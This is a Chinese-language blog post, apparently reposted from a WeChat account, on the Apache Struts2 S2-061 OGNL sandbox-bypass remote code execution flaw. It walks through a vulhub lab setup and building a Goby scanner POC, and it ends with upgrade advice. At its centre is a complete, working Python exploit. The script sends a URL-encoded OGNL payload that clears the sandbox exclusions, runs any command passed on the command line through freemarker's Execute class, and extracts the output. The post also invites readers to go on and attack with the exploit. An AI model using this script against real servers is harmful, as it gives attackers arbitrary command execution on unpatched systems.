Struts2-061自动化脚本的编写与Goby POC编写

  • A+
所属分类:安全文章
Struts2-061自动化脚本的编写与Goby POC编写

点击上方蓝字关注我们

Struts2-061自动化脚本的编写与Goby POC编写


0x00:前言与简介


一、S2-061是对S2-059沙盒进行的绕过漏洞

二、“黑客”就通过构造恶意的 OGNL 表达式,引发 OGNL 表达式二次解析,最终造成远程代码执行的影响.


0x01:影响版本


Apache:Struts2 : 2.0.0 - 2.5.25


0x02:环境的搭建


采用的环境项目地址:

https://github.com/vulhub/vulhub/tree/master/struts2/s2-061

利用Docker进行快速的搭建

Struts2-061自动化脚本的编写与Goby POC编写

Struts2-061自动化脚本的编写与Goby POC编写

利用Burp请求验证漏洞

EXP源自网络

https://github.com/vulhub/vulhub/tree/master/struts2/s2-061

Struts2-061自动化脚本的编写与Goby POC编写

漏洞验证完毕

变更请求方法

Struts2-061自动化脚本的编写与Goby POC编写

验证成功


0x03:Python 脚本的编写


Struts2-061自动化脚本的编写与Goby POC编写

构造一个requestsGet请求即可,最后在利用正则筛选出命令执行的结果.

完整代码如下

#!/usr/bin/python3 #author:Jaky #微信公众号:洛米唯熊
import requests,sys,re

if len(sys.argv)<3: print("[+]Use: pyhton3 s2-061.py http://ip:port command")        print("[+]Explain: 洛米唯熊") print("[+]============================================================") sys.exit()
def Jaky(): payload="%25%7b(%27Powered_by_Unicode_Potats0%2cenjoy_it%27).(%23UnicodeSec+%3d+%23application%5b%27org.apache.tomcat.InstanceManager%27%5d).(%23potats0%3d%23UnicodeSec.newInstance(%27org.apache.commons.collections.BeanMap%27)).(%23stackvalue%3d%23attr%5b%27struts.valueStack%27%5d).(%23potats0.setBean(%23stackvalue)).(%23context%3d%23potats0.get(%27context%27)).(%23potats0.setBean(%23context)).(%23sm%3d%23potats0.get(%27memberAccess%27)).(%23emptySet%3d%23UnicodeSec.newInstance(%27java.util.HashSet%27)).(%23potats0.setBean(%23sm)).(%23potats0.put(%27excludedClasses%27%2c%23emptySet)).(%23potats0.put(%27excludedPackageNames%27%2c%23emptySet)).(%23exec%3d%23UnicodeSec.newInstance(%27freemarker.template.utility.Execute%27)).(%23cmd%3d%7b%27"+sys.argv[2]+"%27%7d).(%23res%3d%23exec.exec(%23cmd))%7d" url=sys.argv[1]+"/index.action?id="+payload r=requests.get(url).text z=re.findall("a id=.*",r) print (str(z).replace("a id="",""))
if __name__ == '__main__':Jaky()


效果图


Struts2-061自动化脚本的编写与Goby POC编写



0x04:Goby POC编写

一、Goby自带的poc开发界面

Struts2-061自动化脚本的编写与Goby POC编写

二、填写相应的信息

Struts2-061自动化脚本的编写与Goby POC编写


Struts2-061自动化脚本的编写与Goby POC编写

三、在测试界面填写入上面的Get成功的payload

Struts2-061自动化脚本的编写与Goby POC编写


响应测试填写入的是响应包,我们需要的是得到什么信息。我这里测试的命令是ID.所以我利用正则的匹配获取UID的信息

四、环境测试

Struts2-061自动化脚本的编写与Goby POC编写

Struts2-061自动化脚本的编写与Goby POC编写

五、做扫描测试

Struts2-061自动化脚本的编写与Goby POC编写

六、接下来就可以利用公开的exp进行攻击了

(未授权网站禁止攻击,后果自负)


0x05:修复方案


及时更新Apache Struts框架版本:

https://struts.apache.org/download.cgi#struts2526
Struts2-061自动化脚本的编写与Goby POC编写

扫码二维码

获取更多精彩

洛米唯熊

Struts2-061自动化脚本的编写与Goby POC编写




点个在看 你最好看



Struts2-061自动化脚本的编写与Goby POC编写

本文始发于微信公众号(洛米唯熊):Struts2-061自动化脚本的编写与Goby POC编写

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: